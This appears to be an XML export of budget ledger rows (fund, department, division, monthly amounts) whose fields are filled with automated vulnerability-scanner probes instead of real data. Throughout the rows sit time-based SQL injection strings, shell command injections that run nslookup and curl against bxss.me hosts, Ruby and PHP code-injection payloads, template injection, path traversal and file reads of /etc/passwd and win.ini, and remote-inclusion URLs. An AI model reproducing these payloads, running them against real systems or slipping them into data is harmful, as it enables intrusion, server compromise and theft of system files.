<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>^(#$!@#$)(()))******</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>16Cotx0RE' OR 309=(SELECT 309 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitdajtryxqfse5901.bxss.me||curl${IFS}hitdajtryxqfse5901.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitdajtryxqfse5901.bxss.me||curl${IFS}hitdajtryxqfse5901.bxss.me)&amp;`'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>|(nslookup${IFS}-q${IFS}cname${IFS}hitgcofeskchycbe71.bxss.me||curl${IFS}hitgcofeskchycbe71.bxss.me)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'A'.concat(70-3).concat(22*4).concat(119).concat(80).concat(121).concat(74)+(require'socket'
Socket.gethostbyname('hitxq'+'jynjogdle25ae.bxss.me.')[3].to_s)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>${@print(md5(31337))}</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>`(nslookup -q=cname hitapmgakqwomeb69b.bxss.me||curl hitapmgakqwomeb69b.bxss.me)`</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1) OR 629=(SELECT 629 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'+'A'.concat(70-3).concat(22*4).concat(97).concat(82).concat(97).concat(84)+(require'socket'
Socket.gethostbyname('hitnt'+'jvvuwvlx59aee.bxss.me.')[3].to_s)+'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1 OR 89=(SELECT 89 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1); waitfor delay '0:0:15' -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>|(nslookup -q=cname hitzswexunroe57511.bxss.me||curl hitzswexunroe57511.bxss.me)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>&amp;nslookup -q=cname hitzgjltohckm4920f.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitzgjltohckm4920f.bxss.me&amp;`'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>file:///etc/passwd</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>';print(md5(31337));$a='</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>$(nslookup -q=cname hitfftubtnlmb914f7.bxss.me||curl hitfftubtnlmb914f7.bxss.me)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'.print(md5(31337)).'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>echo amruaj$()\ svufgu\nz^xyu||a #' &amp;echo amruaj$()\ svufgu\nz^xyu||a #|" &amp;echo amruaj$()\ svufgu\nz^xyu||a #</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>${@print(md5(31337))}</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>&lt;th:t="${dfb}#foreach</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>|(nslookup${IFS}-q${IFS}cname${IFS}hitateatqgkqf82436.bxss.me||curl${IFS}hitateatqgkqf82436.bxss.me)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'A'.concat(70-3).concat(22*4).concat(119).concat(90).concat(116).concat(68)+(require'socket'
Socket.gethostbyname('hitgn'+'muqcfdwdb520c.bxss.me.')[3].to_s)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>;(nslookup -q=cname hitxvxosmioxi4bc41.bxss.me||curl hitxvxosmioxi4bc41.bxss.me)|(nslookup -q=cname hitxvxosmioxi4bc41.bxss.me||curl hitxvxosmioxi4bc41.bxss.me)&amp;(nslookup -q=cname hitxvxosmioxi4bc41.bxss.me||curl hitxvxosmioxi4bc41.bxss.me)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'+'A'.concat(70-3).concat(22*4).concat(100).concat(85).concat(117).concat(67)+(require'socket'
Socket.gethostbyname('hitai'+'fkeanrwef4378.bxss.me.')[3].to_s)+'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>`(nslookup -q=cname hitbhkphtixzaf6d2a.bxss.me||curl hitbhkphtixzaf6d2a.bxss.me)`</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMUJ6FIriYs'; waitfor delay '0:0:15' -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name /><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>Http://bxss.me/t/fit.txt</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>|(nslookup -q=cname hitfmxmhrmkakfdf28.bxss.me||curl hitfmxmhrmkakfdf28.bxss.me)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>bxss.me</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU'&amp;&amp;sleep(27*1000)*cldrzn&amp;&amp;'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=26 or 'SVaFE4aJ'='</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>c:/windows/win.ini</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>'"()</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>&amp;nslookup -q=cname hitxrehbrayca75894.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitxrehbrayca75894.bxss.me&amp;`'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>../../../../../../../../../../../../../../etc/shells</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMUuIPp7v6Q')) OR 422=(SELECT 422 FROM PG_SLEEP(15))--</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'A'.concat(70-3).concat(22*4).concat(122).concat(77).concat(116).concat(78)+(require'socket'
Socket.gethostbyname('hitfd'+'aogmdzet60034.bxss.me.')[3].to_s)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>expr 9000325890 - 971918</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>^(#$!@#$)(()))******</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>http://bxss.me/t/fit.txt%3F.jpg</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
